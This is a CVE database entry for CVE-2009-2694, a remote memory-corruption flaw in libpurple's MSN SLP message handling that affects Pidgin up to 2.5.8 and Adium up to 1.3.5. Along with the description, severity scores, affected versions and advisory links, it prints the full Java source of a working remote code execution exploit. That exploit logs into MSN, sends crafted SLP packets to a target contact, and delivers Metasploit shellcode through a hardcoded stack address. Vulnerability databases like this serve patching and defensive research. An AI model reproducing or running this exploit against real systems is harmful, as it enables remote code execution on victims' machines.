CVE-2009-2694 : Detail

CVE-2009-2694

19.93%V3
Network
2009-08-20
20h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The msn_slplink_process_msg function in libpurple/protocols/msn/slplink.c in libpurple, as used in Pidgin (formerly Gaim) before 2.5.9 and Adium 1.3.5 and earlier, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) by sending multiple crafted SLP (aka MSNSLP) messages to trigger an overwrite of an arbitrary memory location. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2009-1376.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9615

Publication date : 2009-09-08
22h00 +00:00
Author : Pierre Nogues
EDB Verified : Yes

/* * Pidgin MSN <= 2.5.8 Remote Code Execution * * Pierre Nogues - [email protected] * http://www.indahax.com/ * * * Description: * Pidgin is a multi-protocol Instant Messenger. * * This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2]. * The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets * which could lead to memory corruption. * * Affected versions : * Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library. * * Plateforms : * Windows, Linux, Mac * * Fix : * Fixed in Pidgin 2.5.9 * Update to the latest version : http://www.pidgin.im/download/ * * References : * [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694 * [2] http://www.coresecurity.com/content/libpurple-arbitrary-write * [3] http://www.pidgin.im/news/security/?id=34 * * Usage : * You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/ * javac.exe -cp "%classpath%;.\jml-1.0b3-full.jar" PidginExploit.java * java -cp "%classpath%;.\jml-1.0b3-full.jar" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL * */ import net.sf.jml.*; import net.sf.jml.event.*; import net.sf.jml.impl.*; import net.sf.jml.message.p2p.*; import net.sf.jml.util.*; public class PidginExploit { private MsnMessenger messenger; private String login; private String password; private String target; private int session_id = NumberUtils.getIntRandom(); private byte shellcode[] = new byte[] { /* * if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom ! * sub esp,500 */ (byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00, /* * windows/exec - 121 bytes * http://www.metasploit.com * EXITFUNC=process, CMD=calc.exe */ (byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45, (byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b, (byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49, (byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99, (byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d, (byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04, (byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66, (byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb, (byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24, (byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64, (byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70, (byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83, (byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73, (byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; // reteip = pointer to the return address in the stack // The shellcode will be wrote just before reteip // and reteip will automaticly point to the shellcode. It's magic ! private int reteip = 0x0022CFCC; //stack on XP SP3-FR Pidgin 2.5.8 private int neweip; private byte[] payload = new byte[shellcode.length + 4]; private int totallength = reteip + 4; public static void main(String[] args) throws Exception { if(args.length != 3){ System.out.println("PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL"); }else{ PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]); exploit.start(); } } public PidginExploit(String login, String password, String target){ this.login = login; this.password = password; this.target = target; neweip = reteip - shellcode.length ; for(int i=0;i<shellcode.length;i++) payload[i] = shellcode[i]; payload[shellcode.length] = (byte)(neweip & 0x000000FF); payload[shellcode.length + 1] = (byte)((neweip & 0x0000FF00) >> 8); payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16); payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24); } public void start() { messenger = MsnMessengerFactory.createMsnMessenger(login,password); messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE); messenger.setLogIncoming(false); messenger.setLogOutgoing(false); initMessenger(messenger); messenger.login(); } protected void initMessenger(MsnMessenger messenger) { messenger.addContactListListener(new MsnContactListAdapter() { public void contactListInitCompleted(MsnMessenger messenger) { final Object id = new Object(); messenger.addSwitchboardListener(new MsnSwitchboardAdapter() { public void switchboardStarted(MsnSwitchboard switchboard) { if (id != switchboard.getAttachment()) return; switchboard.inviteContact(Email.parseStr(target)); } public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) { if (id != switchboard.getAttachment()) return; MsnP2PSlpMessage msg = new MsnP2PSlpMessage(); msg.setIdentifier(NumberUtils.getIntRandom()); msg.setSessionId(session_id); msg.setOffset(0); msg.setTotalLength(totallength); msg.setCurrentLength(totallength); // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null // We'll use this buffer to rewrite memory in the stack msg.setFlag(0x1000020); msg.setP2PDest(target); switchboard.sendMessage(msg); System.out.println("First packet sent, waiting for the ACK"); } public void switchboardClosed(MsnSwitchboard switchboard) { System.out.println("switchboardClosed"); switchboard.getMessenger().removeSwitchboardListener(this); } public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){ System.out.println("contactLeaveSwitchboard"); } }); messenger.newSwitchboard(id); } }); messenger.addMessageListener(new MsnMessageAdapter(){ public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) { //We receive the ACK of our first packet with the ID of the new bogus packet message.getIdentifier(); MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip, payload.length, payload, target); switchboard.sendMessage(msg); System.out.println("ACK received && Payload sent !"); System.out.println("Exploit OK ! CTRL+C to quit"); } }); messenger.addMessengerListener(new MsnMessengerAdapter() { public void loginCompleted(MsnMessenger messenger) { System.out.println(messenger.getOwner().getEmail() + " login"); } public void logout(MsnMessenger messenger) { System.out.println(messenger.getOwner().getEmail() + " logout"); } public void exceptionCaught(MsnMessenger messenger, Throwable throwable) { System.out.println("caught exception: " + throwable); } }); } } // milw0rm.com [2009-09-09]

Products Mentioned

Configuraton 0

Adium>>Adium >> Version To (including) 1.3.5

    Adium>>Adium >> Version 1.2.7

      Adium>>Adium >> Version 1.3

        Adium>>Adium >> Version 1.3.1

          Adium>>Adium >> Version 1.3.2

            Adium>>Adium >> Version 1.3.3

              Adium>>Adium >> Version 1.3.4

                Pidgin>>Pidgin >> Version To (including) 2.5.8

                Pidgin>>Pidgin >> Version 2.0.0

                Pidgin>>Pidgin >> Version 2.0.1

                Pidgin>>Pidgin >> Version 2.0.2

                Pidgin>>Pidgin >> Version 2.1.0

                Pidgin>>Pidgin >> Version 2.1.1

                Pidgin>>Pidgin >> Version 2.2.0

                Pidgin>>Pidgin >> Version 2.2.1

                Pidgin>>Pidgin >> Version 2.2.2

                Pidgin>>Pidgin >> Version 2.3.0

                Pidgin>>Pidgin >> Version 2.3.1

                Pidgin>>Pidgin >> Version 2.4.0

                Pidgin>>Pidgin >> Version 2.4.1

                Pidgin>>Pidgin >> Version 2.4.2

                Pidgin>>Pidgin >> Version 2.4.3

                Pidgin>>Pidgin >> Version 2.5.0

                Pidgin>>Pidgin >> Version 2.5.1

                Pidgin>>Pidgin >> Version 2.5.2

                Pidgin>>Pidgin >> Version 2.5.3

                Pidgin>>Pidgin >> Version 2.5.4

                Pidgin>>Pidgin >> Version 2.5.6

                Pidgin>>Pidgin >> Version 2.5.7

                References

                http://www.vupen.com/english/advisories/2009/2303
                Tags : vdb-entry, x_refsource_VUPEN
                http://secunia.com/advisories/36392
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://secunia.com/advisories/36402
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://sunsolve.sun.com/search/document.do?assetkey=1-66-266908-1
                Tags : vendor-advisory, x_refsource_SUNALERT
                http://secunia.com/advisories/36384
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://www.debian.org/security/2009/dsa-1870
                Tags : vendor-advisory, x_refsource_DEBIAN
                http://secunia.com/advisories/37071
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://secunia.com/advisories/36708
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://www.vupen.com/english/advisories/2009/2663
                Tags : vdb-entry, x_refsource_VUPEN
                http://secunia.com/advisories/36401
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://www.exploit-db.com/exploits/9615
                Tags : exploit, x_refsource_EXPLOIT-DB
                https://rhn.redhat.com/errata/RHSA-2009-1218.html
                Tags : vendor-advisory, x_refsource_REDHAT